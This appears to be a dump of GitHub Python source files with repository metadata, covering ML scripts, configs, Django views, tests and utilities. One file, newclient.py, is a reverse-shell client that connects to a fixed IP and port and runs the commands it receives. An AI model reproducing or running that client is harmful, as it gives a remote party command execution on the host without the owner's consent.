import tensorflow as tf from tensorflow import keras lr = 1e-3 batchsz = 256 epochs = 50 (x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data() # print(x_train.shape, y_train.shape) # (60000, 28, 28) (60000,) x_train = x_train.reshape(60000, 28, 28, 1) x_test = x_test.reshape(10000, 28, 28, 1) x_...
[ "w943554532@126.com" ]
w943554532@126.com
a3fcd188a0e4b21306c2d67dfab0717e25089ac6
7650c4b0404ff25c26ed5c29e544ed00e259ca50
/examples/EXAMPLE_config_DST_LC.py
c230007afcb3242d4823f688fe1c22e8b2fc12ef
[ "Apache-2.0" ]
permissive
ajeldorado/falco-python
b32e1ab24d521a6790b4c18a96a4fa9d239c7882
406ccf60392542630a7f1f629fc020b8c8e613d2
refs/heads/master
2022-11-06T03:27:12.604912
2022-10-07T15:22:19
2022-10-07T15:22:19
137,521,218
5
2
Apache-2.0
2022-10-07T15:22:58
2018-06-15T18:43:56
Python
UTF-8
Python
false
false
13,962
py
# import sys # sys.path.append('../') import numpy as np import falco mp = falco.config.ModelParameters() mp.SeriesNum = 1 mp.TrialNum = 34 # Special Computational Settings mp.flagParallel = True; mp.useGPU = False; mp.flagPlot = False; # General mp.centering = 'pixel'; # Method of computing core throughput: # - '...
[ "aj.riggs@jpl.nasa.gov" ]
aj.riggs@jpl.nasa.gov
170ca8d188aacad28ab3a8be69a38b02bb931402
9e4ab50f5822941ab70fefb8ac8f2d91d702d9df
/suorganizer/views.py
a8c5954ad810ac9b24b4425723169efa4e7b3098
[]
no_license
andyk1278/startuptracker
cf3b51a82aa6018b990c605cff47398636b4643c
b2b07db3a6213249588214200b52a705ed50b339
refs/heads/master
2021-01-02T23:00:29.839108
2017-08-13T09:18:51
2017-08-13T09:18:51
99,437,365
0
0
null
null
null
null
UTF-8
Python
false
false
115
py
from django.http import HttpResponseRedirect def redirect_root(request): return HttpResponseRedirect('/blog/')
[ "andyk1278@gmail.com" ]
andyk1278@gmail.com
083fe36854fbd371229788e78188c0979a5c2992
9136059cc782460a1cd4d74aa7e4570037996202
/testingoutputfromreducerc1.py
8e3665636e8afbbd913287e86d3a3f4cf89ed0e4
[]
no_license
sheikhusmanshakeel/ExtremeComputing2
d26dfb02d32e64dcee4f5252ee138b2925f58a26
e634100fa4404e540fefe7ad864791a93aaa483f
refs/heads/master
2021-08-15T05:41:47.942314
2017-11-17T11:58:37
2017-11-17T11:58:37
null
0
0
null
null
null
null
UTF-8
Python
false
false
781
py
#!/usr/bin/env python import sys ownerRowIdDict = dict() maxCount = 0 currentCount = 0 previousOwnerId = '' currentOwenrId = '' answerIds = '' fileHandle = open('/afs/inf.ed.ac.uk/user/s15/s1579769/excassignment2/outputfromreducerc1', 'r') # fileHandle = open('/home/raven/PycharmProjects/excassignment2/stacksorted...
[ "sheikh_usman3@yahoo.com" ]
sheikh_usman3@yahoo.com
0f2da2a3a3f2c17a50f1b0f5234713f5baf9597f
3aa1e554a4895252f36bf2c423d7813af67b11c9
/algoprac3/backjun_2609.py
1f8163b7259309b8a0d24d45e73117cebda959d5
[]
no_license
rlagudals95/Algorythm
10e18b4d83b287144545f7129f66e0f571b814b0
055d1eae986071b0cfd3f00f1669043f364c090c
refs/heads/main
2023-04-28T23:49:59.926153
2021-05-20T01:32:16
2021-05-20T01:32:16
369,041,015
0
0
null
null
null
null
UTF-8
Python
false
false
521
py
# C = list(map(int, input().split())) # a = C[0] # b = C[1] # low = 6 # high = a*b//low # low = a*b//high # print(low,high) import sys A, B = map(int, sys.stdin.readline().split()) # a=24 b=18 a, b = A, B while b != 0: a = a % b # a = 24를 18로 나눈 나머지 6 // 6이 최대공약수 a, b = b, a # a는 6이 되...
[ "76252074+rlagudals95@users.noreply.github.com" ]
76252074+rlagudals95@users.noreply.github.com
3a30135d3a76ea4be773fdf0dbce6c8d4ce4fcf1
ce4c24564022d8f3bd9d224e99a66bb43eb2d870
/R0004_Exams_By_Weekday_BarPlot_Report/ExamsByWeekday.py
2ab7e09d499ffdf5ada9914ac1b8df1eda682c40
[]
no_license
Harshit1503/Test-Center-Data-Analysis
a676e7de484977ac975cc2a5792c8f461a63cbdc
b94a43b4a01fa9c5e3f8166cf4957f7aea6e6a9a
refs/heads/master
2022-11-28T08:15:55.802896
2021-03-29T16:14:32
2021-03-29T16:14:32
205,307,314
0
0
null
2022-11-22T07:39:01
2019-08-30T04:56:45
Python
UTF-8
Python
false
false
3,310
py
# -*- coding: utf-8 -*- """ Created on Thu Aug 1 01:37:07 2019 @author: Harshit """ import os import numpy as np import matplotlib.pyplot as plt from PIL import Image, ImageDraw, ImageFont from datetime import date def exams_by_weekday_bar_plot(weekDay_CNT_Tuple, yearVal): # set width of bar barWidth ...
[ "harshit.singh1503@gmail.com" ]
harshit.singh1503@gmail.com
6c45e72f32ca223fecfcc490073f0cd0d14b4b65
0130c8b14927097663157846adc4b146d67d2fda
/tests/common/test_run/div_no_nan_run.py
1a2c66c665dc13f6f5900b55ab27ee71b9d67109
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference", "Unlicense", "BSD-3-Clause", "NCSA", "LLVM-exception", "Zlib", "BSD-2-Clause", "MIT" ]
permissive
Shigangli/akg
e8be3e0ee1eafe3e42b4cc4d424c28f08ef4c0bc
3766c54e0b109541932d147a6b5643a334b82403
refs/heads/master
2023-09-06T05:13:40.571583
2021-11-23T03:44:54
2021-11-23T03:44:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,497
py
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
[ "1027252281@qq.com" ]
1027252281@qq.com
85f1f80f24220aed6e73c2015e66ee635b426869
15d4861bf2f4748f144fbb85a128341736060bd2
/archive/chemproject/copypaste.py
7c72af112b0c881e7824d2aa062e487cae5d3a4b
[]
no_license
wombat-drone/fema-flavor-classifier
283033d4e1535e3f83fefada41eb4d2a36c138c5
9737d5e6322f49b89e61cfa372505d8e217dd4da
refs/heads/master
2022-11-06T22:38:32.838474
2018-01-29T22:58:12
2018-01-29T22:58:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
514
py
""" Tools for sending printouts to clipboard. Only work for Mac. """ import subprocess def write_to_clipboard(output): """ writes output to clipboard """ process = subprocess.Popen( 'pbcopy', env={'LANG': 'en_US.UTF-8'}, stdin=subprocess.PIPE) process.communicate(output.encode('utf-8')) d...
[ "TRN@BeyondTRN.local" ]
TRN@BeyondTRN.local
b5a06168a7891d65d6d1f2dc37cc42b31c3f9075
14b8cf0b67104b53534678b8c0e9525ace4714ff
/codeeval/spiral.py
8ce3b47e920f2d0e9c03bbd1d9e3a51d4092b051
[]
no_license
bhfwg/py_learn
bb11898fd81f653643fc61949f43df751d317fcb
eca9da748bada67357961d1581d8ec890a3385f8
refs/heads/master
2020-03-27T15:01:25.881792
2018-06-05T01:36:26
2018-06-05T01:36:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,433
py
from sys import argv def spiral_printing(n, m, one): if n * m == 1: yield one[0] return def point_2_index(x, y): return x * m + y ax = 0 ay = 0 bx = 0 by = m - 1 cx = n - 1 cy = m - 1 dx = n - 1 dy = 0 while 1: for i in xrange(ay, by): ...
[ "metathinkerk@gmail.com" ]
metathinkerk@gmail.com
f34253d3cdbb977a559f8f296b19947c19542246
77a73704511667d41392b15d7b87e2621453a6a4
/Day9/q36.py
379321f62dfc7f99e76e2a59f1077cb0d29e0a4a
[]
no_license
mahtab04/Python-Programming-Practice
0ee790aec4ae32a474800826a7da113906289b29
c076c6efd786059d3a4ac33dddd41f187eb0ce10
refs/heads/master
2020-04-16T18:29:28.454966
2019-03-11T15:49:13
2019-03-11T15:49:13
165,822,216
3
5
null
null
null
null
UTF-8
Python
false
false
423
py
# Program to find whether a no is power of two # Given a positive integer, write a function to find if it is a power of two or not. # Input : n = 4 # Output : Yes # 22 = 4 # Input : n = 7 # Output : No # Input : n = 32 # Output : Yes # 25 = 32 def check_Power(number): if(number & number-1) == 0: print(...
[ "smmalam9@gmail.com" ]
smmalam9@gmail.com
68eeea5ed3b7b64fa83adeca2d9a513d9c57fd1c
24caa6710105a060fab2e17147e6d56609939011
/06-Importing_Data_in_Python_(Part_2)/01-Importing_data_from_the_Internet/01-Importing_flat_files_from_the_web_your_turn!.py
b845373064884f87b9853e85c1360cd5849f5a64
[]
no_license
inverseundefined/DataCamp
99607022ad3f899d7681ad1f70fcedab290e269a
7226b6b6f41888c3610a884db9a226e013d37e56
refs/heads/master
2022-01-10T00:53:21.714908
2019-07-24T13:27:49
2019-07-24T13:27:49
198,280,648
1
0
null
null
null
null
UTF-8
Python
false
false
1,446
py
''' Importing flat files from the web: your turn! You are about to import your first file from the web! The flat file you will import will be 'winequality-red.csv' from the University of California, Irvine's Machine Learning repository. The flat file contains tabular data of physiochemical properties of red wine, suc...
[ "inversedrivenundefined@gmail.com" ]
inversedrivenundefined@gmail.com
17a5a316fa55654604037c588471a6476c68239c
04ce9939a13dab2dd306d06f2c420e074de87a03
/SiamDW_D/libs/FPNlib/mmdet/ops/__init__.py
e24d41db63b2b6739c87dc709f7f552a2b50795e
[ "MIT" ]
permissive
cy-sohn/VOT2019
d0ae7a083dc96eb2a1bd6f9340dbf36b1583cfc7
eaf84c2b58a8ed3ff6ca464dcfdd52519507ae36
refs/heads/master
2022-03-03T07:43:10.778201
2019-10-23T06:32:24
2019-10-23T06:32:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
68
py
from .nms import nms, soft_nms __all__ = [ 'nms', 'soft_nms' ]
[ "henry.hw.peng@gmail.com" ]
henry.hw.peng@gmail.com
30faee71e2caf0f4591612bbe4528e2edd9a5b1e
684f8a81a212b58d038a353ae247fec89cde5bde
/newclient.py
89ea5422724c78eb2667f0e4e96e7a9748eecb8f
[ "MIT" ]
permissive
saini1998/Computer-Networks
418731ebef4bc10b31663f86d4bd76d467ca4560
dd47093231edc6a11774d75470a6064818c48a0d
refs/heads/master
2021-02-13T04:55:04.197853
2020-03-05T17:51:01
2020-03-05T17:51:01
244,663,347
0
0
null
null
null
null
UTF-8
Python
false
false
625
py
import socket import os import subprocess s = socket.socket() host = '172.20.10.3' port = 9999 s.connect((host, port)) while True: data = s.recv(1024) if data[:2].decode("utf-8") == 'cd': os.chdir(data[3:].decode("utf-8")) if len(data) > 0: cmd = subprocess.Popen(data[:].decode("utf-8"),...
[ "sainiaaryaman1998@hmail.com" ]
sainiaaryaman1998@hmail.com
9fc39c434aeb8db7e69c85650d79dea51a686666
5d2404f62e58d5fd1f6112744ff32c3166183ac7
/Geek University/Seção 4/Exercicios/EX49.py
de8275af5902ac3f09895155461a32956779a2ef
[]
no_license
Leownhart/My_Course_of_python
236cfc84d841c5883e5aa1cc0c0730e7a9a83c40
5abb21f8cdad91ab54247a007d40bf9ecd2cff8c
refs/heads/master
2020-08-28T15:04:33.628086
2020-08-24T19:25:39
2020-08-24T19:25:39
217,733,877
1
0
null
null
null
null
UTF-8
Python
false
false
654
py
''' 49 - Faça um programa que leia um horário (hora, minuto, segundo) de inicio e a duração, em segundos, de uma experiência biológica. O programa de resultar com o novo horário (hora, minuto, segundo) do termino da mesma. from datetime import datetime now = datetime.now() print now.year print now.month print now.da...
[ "francisco.amartins.al@gmail.com" ]
francisco.amartins.al@gmail.com
5db755421c2575707e428ae378775b1cf3462cdc
672f2f55cc81388ce6322350ad1fbd96d4c639dd
/brain_games/scripts/brain_gsd.py
76a1286c3aa0574f56a3cced02233f01314a042f
[]
no_license
Nikolaevaanneta/python-project-lvl1
26018cf3681fc2f44991d6c781901d4c5a081f56
9913b2e092e6c3a414a3cf9d72fb39be03d25254
refs/heads/main
2023-07-14T19:50:42.219635
2021-08-26T10:41:00
2021-08-26T10:41:00
397,596,100
0
0
null
null
null
null
UTF-8
Python
false
false
144
py
from brain_games.body import run_game from brain_games.games import gsd def main(): run_game(gsd) if __name__ == '__main__': main()
[ "nikolaevaanneta@gmail.com" ]
nikolaevaanneta@gmail.com
0cdc66bc726905c1a108a246b3d9afde367a20d3
7a16c85f09c2232a3fab5933c8ad2740edecace3
/python_local_courses/dz-9/nine.py
ab06ac9c9610927989f8c00769ea47ef6e2b184c
[]
no_license
romanovna/baseline
42adf5ae1eeb27c34b4684f07ad4c57882e4033a
c0bbef293c9e7f434d130aca89b8741f36e888df
refs/heads/master
2021-07-14T09:20:19.924159
2021-03-10T13:22:36
2021-03-10T13:22:36
44,129,919
0
0
null
2021-02-26T14:23:30
2015-10-12T19:40:10
Python
UTF-8
Python
false
false
6,207
py
__author__ = 'roman.deles' # coding: utf-8 """ Жизнь на ферме - Курица - Корова - Собака 1. У этих классов есть следующие функциональности: - бежать - голос - продукт ( яйцо, молоко) все эти классы унаследованы от базового "животное" 2. Также нужен класс ферма Программа инициализирует ферму с заданным числом каждо...
[ "bullsey@gmail.com" ]
bullsey@gmail.com
33667e8b97d6c876c073bc1b32185c8188c271fa
a1614311937bae5204e171b2a3481fb31e61a490
/media/codigos/36/36sol118.py
0e4ccda5dba78b1aa00e7913b2e0c1bb249e5ec9
[]
no_license
alexandre146/avaliar
8d406100ed72f10292a0580edac50ad061ad92e9
3daf247ca68962086592a356e013b07fa1569afe
refs/heads/master
2020-03-21T03:09:29.493919
2018-07-23T11:41:38
2018-07-23T11:41:38
137,883,682
0
0
null
null
null
null
UTF-8
Python
false
false
178
py
n=int(input()) m=int(input()) if(m%n==0): print(m) elif(m%n!=0): x=m%n if((m-x)==n): print("sem multiplos menores que"+str(m)) else: print(m-x)
[ "alexandre146@gmail.com" ]
alexandre146@gmail.com
6ec31c553f72c6a11ebe59ba3afd9595af33ffd4
65a60b14be349d4d8f6f493f87f6f2b4ac7f6cbb
/jmesh/models/transformer/external.py
d200fdfc08675ab4bd6a30ccfb477170acc75165
[ "MIT" ]
permissive
Exusial/MWFormer
3729fee8ec085930d7a67161b968402a5db59b9e
008e5724c933cebc110ace9b3cdcab102ee011de
refs/heads/master
2023-07-13T10:54:01.295366
2023-07-10T03:10:52
2023-07-10T03:10:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
22,772
py
#coding=utf-8 import jittor as jt from jittor import nn from jittor.misc import _pair from functools import partial import math import numpy as np from .utils import trunc_normal,load_pretrained,_conv_filter from .config import default_cfgs class MLP(nn.Module): def __init__(self, in_features, hidden_features=No...
[ "bilibili39@163.com" ]
bilibili39@163.com
210e5ddca76bde20cfc78dc0b2d86fc7fb822f00
1170dd002a501a15f51c1282638b4d2146cab6b6
/roboarchsim/src/roboarchsim/sensors/probeviz.py
a827522e9c771446bfacd0b3344f5aa2ce868992
[]
no_license
kaosbeat/roboarch
7f9ce45c9d51e6f172ee5673b83430cbc1571a4b
010d6b7777fd3843da8b7b325dcc8552e500a103
refs/heads/master
2020-03-17T19:31:58.999814
2018-05-21T07:49:03
2018-05-21T07:49:03
133,867,312
0
0
null
null
null
null
UTF-8
Python
false
false
2,991
py
import logging; logger = logging.getLogger("morse." + __name__) import morse.core.sensor import math from roboarchsim.builder.sensors import perlin # import perlin from morse.core.services import service, async_service from morse.core import status from morse.helpers.components import add_data, add_property class Pr...
[ "kasper.jordaens@gmail.com" ]
kasper.jordaens@gmail.com
3a9bf2b914edde4e5c397c7319864fbf32311712
117f066c80f3863ebef74463292bca6444f9758a
/finnhub_swagger_api/finnhub_swagger_api/models/revenue_estimates_info.py
02eb5c15a1e32e1b17eb727157f4a1affeec2537
[]
no_license
cottrell/notebooks
c6de3842cbaeb71457d270cbe6fabc8695a6ee1b
9eaf3d0500067fccb294d064ab78d7aaa03e8b4d
refs/heads/master
2023-08-09T22:41:01.996938
2023-08-04T22:41:51
2023-08-04T22:41:51
26,830,272
3
1
null
2023-03-04T03:58:03
2014-11-18T21:14:23
Python
UTF-8
Python
false
false
7,028
py
# coding: utf-8 """ Finnhub API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six...
[ "cottrell@users.noreply.github.com" ]
cottrell@users.noreply.github.com
b65f91b5d0820bef879b4902b41d7a79e7fe245a
33f304bbd8536045a63dea909031576ea3f7b488
/census_area/core.py
c3fe06979410922dd4552eca320be2f8349c5c06
[ "MIT" ]
permissive
LindaLv11/census_area
859c92cd5ca6a8537ff45014b42771804dc29913
48d8bc7e73c12b58e796307e36c93029b1ec0044
refs/heads/master
2020-04-20T08:25:32.838867
2019-01-04T03:00:47
2019-01-04T03:00:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,436
py
import shapely.geometry import shapely.geos import esridump GEO_URLS = { 'tracts' : { 1990 : 'https://gis.uspatial.umn.edu/arcgis/rest/services/nhgis/Census_Tracts_1910_2014/MapServer/8', 2000 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/Census2010/tigerWMS_Census2000/MapServer/6', ...
[ "fgregg@uchicago.edu" ]
fgregg@uchicago.edu
ec49e6c91ca97068e5bb27f4a55e242b2c3c60c3
d8cbe9ce0469f72b8929af01538b6ceddff10a38
/tests/components/calendar/test_trigger.py
ac2547c81f72bf1d79b0d040948536d8a80702ac
[ "Apache-2.0" ]
permissive
piitaya/home-assistant
9c1ba162dac9604e4d43e035e74bad7bba327f0b
48893738192431f96966998c4ff7a3723a2f8f4a
refs/heads/dev
2023-03-07T16:13:32.117970
2023-01-10T17:47:48
2023-01-10T17:47:48
172,578,293
3
1
Apache-2.0
2023-02-22T06:15:56
2019-02-25T20:19:40
Python
UTF-8
Python
false
false
21,468
py
"""Tests for the calendar automation. The tests create calendar based automations, set up a fake set of calendar events, then advance time to exercise that the automation is called. The tests use a fixture that mocks out events returned by the calendar entity, and create events using a relative time offset and then ad...
[ "noreply@github.com" ]
piitaya.noreply@github.com
af110594bc60b09186afd5627301dc1dbf379ca8
af61044c866eb85ca2c622e082090f7657431206
/webcli/arthur_utils/experiment.py
a2e95ed3a2caacf3035abf7dcdb6607dbfd126af
[]
no_license
leepand/gridpoc
f7959ef099d8a5513c59dfeb682761771ffe7594
4c476cd0241a95a4a7d2abf53a519d3749ecfb94
refs/heads/master
2020-04-28T02:38:49.631595
2019-03-11T02:01:50
2019-03-11T02:01:50
174,906,542
0
0
null
null
null
null
UTF-8
Python
false
false
1,502
py
from _mlflow_object import _MLflowObject class Experiment(_MLflowObject): """ Experiment object. """ DEFAULT_EXPERIMENT_ID = 0 ACTIVE_LIFECYCLE = 'active' DELETED_LIFECYCLE = 'deleted' def __init__(self, experiment_id, name, artifact_location, lifecycle_stage): super(Experiment, s...
[ "85721094@qq.com" ]
85721094@qq.com
42de06cba2aa491aca4aeef891e131415fe780b7
0981c4973af3eda0e31c1af47e03d0133d1db43a
/base/sitemaps.py
ec929cc7331b712ef532cf6603346f17e0916179
[]
no_license
kizashi7512/mysite_test
327b17f6143dca3ff322c35d26c041e28c0141ca
27a69e5a3039ad0aa91103bc7b2d5d9f52f8673c
refs/heads/master
2023-03-29T12:36:46.641648
2021-03-26T02:43:57
2021-03-26T02:43:57
351,262,050
0
0
null
null
null
null
UTF-8
Python
false
false
467
py
from django.contrib.sitemaps import Sitemap from django.shortcuts import resolve_url class BaseSitemap(Sitemap): def items(self): items = [ 'base:top', 'base:policy', 'base:terms', ] return items def location(self,obj): return resolve_url(obj) def changefreq(self, obj): i...
[ "kizashi3230@gmail.com" ]
kizashi3230@gmail.com
f2b5f59d3c117070dd065713dd8377902588a840
a535d7f6c873b0701507f3ba2286ad9d17485811
/test_yuk.py
c874ec5b211636a508d6e3d163be589de10ae32e
[ "MIT" ]
permissive
okken/pytest-yuk
5ce3747b69fb82dcdc566330e9f44d9c6aeae223
36ec350d7e2d753ede1f89226d5e83baa5abe075
refs/heads/main
2023-03-26T14:31:32.380813
2021-03-26T21:19:14
2021-03-26T21:19:14
351,911,575
5
0
null
null
null
null
UTF-8
Python
false
false
210
py
import pytest @pytest.mark.yuk def test_pass(): assert 1 == 1 @pytest.mark.yuk def test_fail(): assert 1 == 2 def test_pass_unmarked(): assert 1 == 1 def test_fail_unmarked(): assert 1 == 2
[ "1568356+okken@users.noreply.github.com" ]
1568356+okken@users.noreply.github.com
d39520befb46e5c0ba5180a6c69f1a0df8f3b5c0
2aea5f0c91922b3686eaa9fb14d0c8675c080c98
/node_modules/mongoose/node_modules/mongodb/node_modules/bson/build/config.gypi
24638528d9d329e923b933e99e31de8b4471c3a0
[ "MIT", "Apache-2.0" ]
permissive
Earlvin/GEEC
91cdd5772c6851e7fe2f8f8564cd6505ea3edf72
b59d31ca3a18b486f85f68397c4de0ee92b5e852
refs/heads/master
2021-01-15T13:24:46.089488
2014-12-10T00:51:13
2014-12-10T00:51:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,247
gypi
# Do not edit. File was generated by node-gyp's "configure" step { "target_defaults": { "cflags": [], "default_configuration": "Release", "defines": [], "include_dirs": [], "libraries": [] }, "variables": { "clang": 1, "host_arch": "x64", "node_install_npm": "false", "node_pref...
[ "ejmanansala@gmail.com" ]
ejmanansala@gmail.com
6d8323e3ea02352d65d2f5f99110a013ddd2cc3d
1348885ccdebfcb6010a267a3440a4ccc64373d1
/Examples/IPlugSideChain/scripts/update_installer_version.py
d4c3a9886d1d11e75b3572f01e371d4ebdeff671
[ "LicenseRef-scancode-other-permissive", "LicenseRef-scancode-unknown-license-reference" ]
permissive
ddf/iPlug2
c6565343def57dbf063fefb3b875c6337d363081
d05d20929544b06500369208b9ec81a62eb191fb
refs/heads/master
2022-11-02T04:39:45.019866
2022-10-10T17:15:04
2022-10-10T17:15:04
170,179,953
2
0
NOASSERTION
2019-02-11T18:30:30
2019-02-11T18:30:30
null
UTF-8
Python
false
false
3,091
py
#!/usr/bin/python3 # this script will update the versions in packages and innosetup installer files to match that in config.h import plistlib, os, datetime, fileinput, glob, sys, string scriptpath = os.path.dirname(os.path.realpath(__file__)) projectpath = os.path.abspath(os.path.join(scriptpath, os.pardir)) IPLUG2_...
[ "olilarkin@googlemail.com" ]
olilarkin@googlemail.com
26ec2100442d4be7cb84f871f4af39f81f332470
056f10d9f99506bb9b5abf7e91633f3ad0c76061
/CountCSVRows.py
f31ac1a85a8c869736b03a67223274ff65e3ce66
[]
no_license
taers232c/GAM-Scripts3
5f171b620b2ac19514ab7198e39720f59a60ba9e
a59c5adb7b03b6bc9a4e054b9b41eabae2779f13
refs/heads/master
2023-08-31T06:43:57.645295
2023-08-22T17:32:21
2023-08-22T17:32:21
108,921,186
176
46
null
2023-02-28T15:52:32
2017-10-30T23:48:44
Python
UTF-8
Python
false
false
573
py
#!/usr/bin/env python3 """ # Purpose: Count rows in a CSV file # # Python: Use python or python3 below as appropriate to your system; verify that you have version 3 # $ python -V or python3 -V # Python 3.x.y # Usage: # python3 CountCSVRows.py File.csv # """ import csv import sys QUOTE_CHAR = '"' # Adjust as nee...
[ "ross.scroggs@gmail.com" ]
ross.scroggs@gmail.com
7c4856b94c048615d4958703b69db3191a928ddf
d7195e61bc37f6b90c8bc2d6f164e5e7da98aa77
/landlab/grid/linkstatus.py
6eb74a1aadecb3b7f83bdb0915c210dc93491ae0
[ "MIT" ]
permissive
joeljgeo/landlab
ffaae36b3ad3c5e1377355427bc9cfbb21074f01
1d2651c76a8a36a7a132f139638192df1823f8fb
refs/heads/master
2020-04-05T01:38:11.870170
2018-11-09T16:44:31
2018-11-09T16:44:31
156,443,219
0
0
MIT
2018-11-09T16:44:32
2018-11-06T20:26:54
Python
UTF-8
Python
false
false
5,415
py
#! /usr/bin/env python import numpy as np from .nodestatus import (CLOSED_BOUNDARY, CORE_NODE, FIXED_GRADIENT_BOUNDARY, FIXED_VALUE_BOUNDARY) from ..utils.decorators import (cache_result_in_object, make_return_array_immutable) # Define the link types #: Indica...
[ "mcflugen@gmail.com" ]
mcflugen@gmail.com
b24a89fc5023e465c9d433a04830c0efbcfae800
19c42d7c30a38e9ef5e5ef694b00449c92ec8f8f
/images/serializers.py
a89a0ad31cecf175961b0a0955b3cca0cda68f7d
[]
no_license
Blitzone/backend
219210fe82652b872df1e0c4ccdaec21b1b1b887
9dfb1327db304877ff08fb88ed79df8182bffcf0
refs/heads/master
2021-01-17T07:10:15.523623
2016-07-18T23:12:53
2016-07-18T23:12:53
55,292,590
0
0
null
null
null
null
UTF-8
Python
false
false
4,018
py
from rest_framework import serializers from .models import Topic, Chapter, Blitz, UserTopic, UserChapter from accounts.serializers import BlitzUserSerializer from accounts.models import BlitzUser from django.db.models import Q class UserTopicSerializer(serializers.ModelSerializer): class Meta: model = User...
[ "mikelv92@gmail.com" ]
mikelv92@gmail.com